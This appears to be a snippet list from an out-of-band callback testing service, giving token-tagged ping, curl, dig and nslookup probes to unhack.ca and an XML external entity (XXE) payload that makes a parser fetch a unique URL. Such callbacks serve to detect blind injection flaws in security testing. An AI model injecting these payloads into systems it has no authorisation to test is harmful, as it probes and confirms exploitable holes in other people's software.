$ ping -c1 -p 0058542da005ad6be2e95bbd0c4aa000 unhack.ca
 

$ curl http://unhack.ca/p/58542da005ad6be2e95bbd0c4aa0
 

$ dig 58542da005ad6be2e95bbd0c4aa0 @unhack.ca
 

$ dig 58542da005ad6be2e95bbd0c4aa0.ns.unhack.ca
 

C:\> nslookup 58542da005ad6be2e95bbd0c4aa0 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/58542da005ad6be2e95bbd0c4aa0">]>
    <foo>&xxe;</foo>